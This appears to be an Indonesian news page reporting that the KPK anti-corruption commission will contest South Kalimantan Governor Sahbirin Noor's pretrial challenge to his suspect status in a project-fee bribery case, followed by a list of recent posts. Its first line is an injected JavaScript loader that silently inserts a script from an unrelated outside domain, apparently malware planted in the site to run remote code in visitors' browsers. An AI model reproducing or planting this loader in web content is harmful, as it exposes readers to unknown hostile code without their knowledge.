(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Penetapan Tersangka Digugat, KPK Siap Hadapi Praperadilan Paman Birin


KANALKALIMANTAN.COM, JAKARTA – Komisi Pemberantasan Korupsi (KPK) menanggapi langkah hukum Gubernur Kalimantan Selatan Sahbirin Noor alias Paman Birin yang mengajukan praperadilan terhadap penetapan terhadap dirinya sebagai tersangka.

Juru Bicara KPK Tessa Mahardhika mengatakan pihaknya mempersilakan Sahbirin untuk menggunakan haknya untuk mengambil langkah hukum dengan mengajukan praperadilan.

Meski begitu, dia menjelaskan bahwa lembaga antirasuah melalui Biro Hukum KPK siap menghadapi gugatan tersebut.

Baca juga: Tersangka KPK Paman Birin Ajukan Gugatan Praperadilan

“KPK akan menghadapi dan mengawal prosesnya melalui Biro Hukum sesuai aturan yang berlaku,” kata Tessa kepada wartawan, Jumat (11/10/2024).

“KPK meyakini bahwa penetapan tersangka atas nama SHB (Sahbirin Noor) sudah melalui prosedur hukum yang berlaku,” tambah dia.

Sahbirin diketahui mengajukan praperadilan terhadap penetapan dirinya sebagai tersangka oleh KPK.

Baca juga: Dipagar Seng, Proyek Samsat Terpadu Rp22 Miliar OTT KPK di Kalsel

Dilihat dari Sistem Informasi Penelusuran Perkara (SIPP) Pengadilan Negeri (PN) Jakarta Selatan (Jaksel), Sahbirin mengajukan praperadilan pada Kamis, 10 Oktober 2024. Gugatan itu teregister dengan nomor perkara 105/Pid.Pra/2024/PN JKT.Sel.

“Sah atau tidaknya penetapan tersangka,” demikian dikutip dari SIPP PN Jaksel pada Jumat (11/10/2024).

Para tersangka dihadirkan dalam konferensi pers penahanan tersangka di Gedung Merah Putih KPK, Jakarta, Selasa (8/10/2024). Foto: Suara.com/Alfian Winanto

Alasan Belum Tahanan Paman Birin

Sebelumnya, KPK mengungkapkan alasan belum ditahannya Sahbirin meski sudah ditetapkan sebagai tersangka dalam OTT di Provinsi Kalsel.

Direktur Penyidikan KPK Asep Guntur Rahayu menjelaskan bahwa dalam proses OTT, pihaknya menelusuri pergerakan uang dari pemberi ke penerima.

“Teman-teman penyelidik mengikuti ya mengikuti, ini bergerak dari si pemberi yaitu saudara YUD dan saudara AND,” kata Asep di Gedung Merah Putih KPK, Jakarta Selatan, Selasa (8/10/2024).

“Nah bergerak kemudian dari sana uang bergerak kepada saudara YUL, kemudian bergerak ke saudara BYG, dan bergerak terakhir kepada saudara AHM ya,” tambah dia.

Lebih lanjut, dia menjelaskan bahwa barang bukti menunjukkan bahwa uang tersebut bergerak di antara para tersangka yang dilakukan penahanan.

Namun, uang tersebut ternyata belum terkirim untuk Gubernur Kalsel Sahbirin Noor. Padahal, uang sejumlah Rp12 miliar dan USD500 itu merupakan fee sebesar 5 persen untuk Sahbirin dari pengerjaan tiga proyek pembangunan.

“Nah, uang ini belum ter-deliver lebih dari itu gitu, jadi berhenti pada saudara AHM ini,” ungkap Asep.

Adapun proyek yang dimaksud ialah pembangunan lapangan sepak bola di kawasan olahraga terintegrasi Provinsi Kalimantan Selatan dengan penyedia terpilih PT WKM (Wiswani Kharya Mandiri dengan nilai pekerjaan Rp23 miliar (Rp 23.248.949.136).

Selain itu, ada juga proyek pembangunan Samsat Terpadu dengan penyedia terpilih PT HIU (Haryadi Indonesia Utama) dengan nilai pekerjaan Rp22 miliar (Rp 22.268.020.250,00).

Terakhir ialah pembangunan kolam renang di kawasan olahraga terintegrasi Provinsi Kalimantan Selatan dengan penyedia terpilih CV BBB (Bangun Banua Bersama) dengan nilai pekerjaan Rp9 miliar (Rp9.178.205.930).

Cuma Tahan 6 Tersangka

Diketahui, KPK melakukan penahanan terhadap enam tersangka dalam kasus dugaan korupsi berupa penerimaan hadiah atau janji oleh penyelenggara negara atau yang mewakilinya di Provinsi Kalimantan Selatan tahun 2024–2025.

Dalam perkara ini, tujuh orang ditetapkan sebagai tersangka yaitu Gubernur Kalimantan Selatan Sahbirin Noor (SHB), Kadis PUPR Kalsel Ahmad Solhan (SOL), Kabid Cipta Karya Yulianti Erlynah (YUL), pengurus Rumah Tahfidz Darussalam Ahmad (AMD), Plt Kabag Bagian Rumah Tangga Gubernur Kalsel Agustya Febry Andrean (FEB), dan dua pihak swasta Sugeng Wahyudi (YUD) serta Andi Susanto (AND).

Namun, KPK hanya menahan enam tersangka pada hari ini sementara Sahbirin Noor merupakan satu-satunya tersangka yang belum dilakukan penahanan.

Lebih lanjut, KPK akan melakukan penahanan terhadap 6 tersangka untuk 20 hari terhitung sejak 7 Oktober hingga 26 Oktober 2024.

“Terhadap 4 tersangka SOL, YUL, AMD, FEB, di Rumah Tahanan Negara Cabang Rutan dari Rutan Klas | Jakarta Timur, di Gedung KPK K4,” ujar Wakil Ketua KPK Nurul Ghufron.

“Sedangkan tersangka YUD, dan AND di Rumah Tahanan Negara Cabang Rutan dari Rutan Klas | Jakarta Timur, di Gedung KPK C1,” tambah dia.

Dalam perkara ini, Sahbirin Noor bersama SOL, YUL, AMD, dan FEB diduga melanggar Pasal 12 huruf a atau b, Pasal 11, atau 12B Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Perubahan Atas Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi juncto Pasal 55 ayat (1) ke-1 Kitab Undang-Undang Hukum Pidana.

Di sisi lain, tersangka dari pihak swasta berinisial YUD dan AND diduga melanggar pasal 5 ayat 1 huruf a atau b atau Pasal 13 Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Perubahan Atas Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi Jo Pasal 55 ayat (1) ke-1 Kitab Undang-Undang Hukum Pidana. (Suara.com/Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Muhammad Andi

Recent Posts

Pelantikan PAW Komisioner KPU Banjarbaru Tunggu KPU RI

KANALKALIMANTAN.COM, BANJARBARU - Proses Penggantian Antar Waktu (PAW) Komisioner KPU Banjarbaru masih berjalan, meski tahapan… Read More

9 jam ago

Talk Show HUT ke-8 RSD Idaman Seni Mengelola Konflik dalam Rumah Tangga

KANALKALIMANTAN.COM, BANJARBARU - Menyemarakan penandaan Haru Ulang Tahun (HUT), Rumah Sakit Daerah Idaman (RSDI) menggelar… Read More

11 jam ago

2.069 Pelajar SD se HSU Ikuti Khataman Al Qur’an

KANALKALIMANTAN.COM, AMUNTAI - Sebanyak 2.069 pelajar Sekolah Dasar (SD) se Kabupaten Hulu Sungai Utara (HSU)… Read More

22 jam ago

Curi Mobil Nyamar Petugas Parkir Wisuda Kampus ULM, MSR Diringkus Polisi

KANALKALIMANTAN.COM, BANJARBARU - Dua unit mobil hilang saat terparkir di kampus Universitas Lambung Mangkurat (ULM)… Read More

23 jam ago

Nasib Tiga Proyek Dinas PUPR Kalsel Pasca OTT KPK

KANALKALIMANTAN.COM, BANJARBARU - Lebih sepekan sudah pasca Operasi Tangkap Tangan (OTT) Komisi Pemberantasan Korupsi (KPK)… Read More

24 jam ago

Kunjungi Karangintan, Masyarakat Inginkan Saidi Mansyur Terpilih Lagi

KANALKALIMANTAN.COM, MARTAPURA - Masyarakat Karangintan menyatakan dukungannya terhadap pasangan calon bupati dan wakil bupati Banjar… Read More

1 hari ago

This website uses cookies.